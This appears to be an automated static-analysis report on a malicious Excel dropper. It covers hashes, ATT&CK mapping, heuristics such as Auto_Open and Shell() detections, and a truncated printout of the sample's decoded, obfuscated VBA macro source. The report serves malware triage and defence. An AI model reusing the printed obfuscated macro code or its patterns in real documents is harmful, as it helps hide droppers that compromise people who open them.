Xls.Dropper.Agent-6009608-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 4f09b925035bfa81…

MALICIOUS

Office (OLE)

156.0 KB Created: 2016-12-13 14:47:12 Authoring application: Microsoft Excel First seen: 2018-11-05
MD5: 028e2b64f386598adc34a695b348a693 SHA-1: 2796158bb68d52e6cc81be73c28283e8b1d92f7d SHA-256: 4f09b925035bfa81c9de7a3939dc375f1b43f7e5bb7143e6612deee5175f7d19
204 Risk Score

Malware Insights

Xls.Dropper.Agent-6009608-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

This Excel document contains a malicious VBA macro, specifically an Auto_Open macro that utilizes the Shell() function. This indicates the file is designed to execute arbitrary commands, likely to download and run a second-stage payload. The ClamAV signature 'Xls.Dropper.Agent-6009608-0' further supports its classification as a dropper.

Heuristics 7

  • ClamAV: Xls.Dropper.Agent-6009608-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-6009608-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31303 bytes
SHA-256: e5a59d5181120cdb98e7dbe1c0ad70f557c520bcf7fa530df982c33d1cd72149
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 89 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function gqo(nozas, gmusefu)
tqixuqxi = 155 + 662
esalsofq = 3
izipweh = nozas(esalsofq)
smirud = "efweqziwencashizwynurexbajzikiparjepunpudmetcucmawijomgonbixyrsyzuckuwusacrowhejugpijladynokkunifaclysozewpawfysicwokapeqodijkygmakeqzicehuqeryszihuhykcebvoguhz"
gqo = izipweh
End Function
Function dto(esyhadv, ygkakhy)
whukopgu = 329 + 685
orluhjo = 3
vicim = esyhadv(orluhjo)
yqmacgaw = "ulorkizegbypburehehmowkuxohxadufqiqfeluslyzokehupuwukyssezqigcahaklyrsalohogezoxeporqujfazucaqegsyxzaxinxapyxdacyfytfiwlokrycizpynvivquwwortarmavudy"
dto = vicim
End Function
Function tr(ozinwa, urytjuq)
hqoxydwa = 325 + 353
egbilubp = 2
ehad = ozinwa(egbilubp)
mujzipa = "idelvetcexlajavuduhetqathiduwsyqlysxermuzypsepzydavzisdexzonegnufekwovoxiwupygytazwankujbokmokwereqrabvovmabitulowagylrujovomozpezjukdibmamofmybepiclussomi"
tr = ehad
End Function
Function esp2(xlisaj, ryxiru)
cbadfany = 221 + 489
uxvoqe = 1
umhaxsexs = xlisaj(uxvoqe)
jdilana = "hfehjamezudexxykeniqvodudzybigigoxixidxexumafuftugapecqowmypwutihollifcufelucizvolmegumkovbochimihmudsigvajifyvvijkytdavenxukigonzawsockaholugatybjenxiwotk"
esp2 = umhaxsexs
End Function
Function onl(yhybmo, erar)
olnubi = 364 + 155
ykmomezv = 1
qmagorz = yhybmo(ykmomezv)
tohran = "uctogsefyrwexollirdaqhivikedojkihugiqwiplocwysecnybolbovpymivahqenaglixizzazovecrinivdaqevudorqubtiqorexvaqfathyzhudlefgujjabizgawfyxfodvexryvco"
onl = qmagorz
End Function
Function tx9(foki, iwwulekq)
arobsa = 369 + 703
eghuss = 1
ixhorzi = foki(eghuss)
xepukr = "ugqeqkyclifowyjumizuktozevutsyfatirimtawbollellagyxwewojvokcoziqabkitobnoktakafqirzymlehhyrsetusfumdyhowevuhbojmegobesoqynabofazybojzegugcypcogdoddaf"
tx9 = ixhorzi
End Function
Function cpo0(itkuc, otgamcyw)
evary = 566 + 279
wziplecda = 2
ojravimt = itkuc(wziplecda)
icovxar = "epdalevbosqofniqbaxeqnikxykjuftomekkexvuhsajudcipujuckopjynsynugzuqhosrebqersejohaflibsygpahtohpadwidokxyciclifugqyflepxyhexdycgybambaqemhypsipytmuknymmojcojefr"
cpo0 = ojravimt
End Function
Function o0(odsypadg, ettuvix)
savkyp = 620 + 842
etsupvi = 0
yqetymb = odsypadg(etsupvi)
uffumo = "ibtoxqytnilockabygraggyvwivetyhkyxruseryjxedcaxlirnokwypykeqnibugehjosalnoxihyjjaxoluvylazkijvowmesfunylovhuffawahcapybetkuwryhoneslyjypb"
o0 = yqetymb
End Function
Function t8(matitqi, gzoro)
kedvege = 766 + 704
alqecvug = 0
kihac = matitqi(alqecvug)
oxjilirk = "xebratxafkuhtisuwfawmunrysoqisecxirykrewiswoketyhneglijubsilujcizakedfiruxahizijyzoccycehyllydagoryfyclogqurucaqopqyrdevfedupitbishejrilzi"
t8 = kihac
End Function
Function e(hugvaf, lnacsujg)
zvufxehb = 350 + 312
sixdo = 3
kwygocx = hugvaf(sixdo)
ydurzosj = "oqmygydgihugfihjohgonkajogbuqybiszumnefdasadcasoskujarurodaxebocofowdemzydkimdihmusajawelynabbyfhetlirywocyluwefuducojwohyxutiwjudejocyvekwylakifyqoxebokcyzihydw"
e = kwygocx
End Function
Function cc(kobosf, irxalicf)
umefib = 343 + 404
zjice = 4
igedpok = kobosf(zjice)
kbikhij = "kvyhusbanmyvhoqomxehmuhagkadwyvisgitykwacaptovkanykyfkeqsysopsavpedcidqaximorolmicatdispeqpigmywynheguqusniwzodisyxkuhotvycremwighywekiheqxamsurojututyqdolzigowotcekytgubnelcirk"
cc = igedpok
End Function
Function awz(kpeqxapc, jyqpu)
ipano = 248 + 575
yjez = 1
ahus = kpeqxapc(yjez)
tgoptivfo = "epzalgemurilxolmewucicorpazemvomwetwokugohyknococynuchofitopzylazinnozudevharexceqjisnuzhexipithilurpuwgiqafvodybfaqridmegbitkanulyca"
awz = ahus
End Function
Function pzy0(yvnocnu, jrefxamhi)
yvbidta = 630 + 2
... (truncated)

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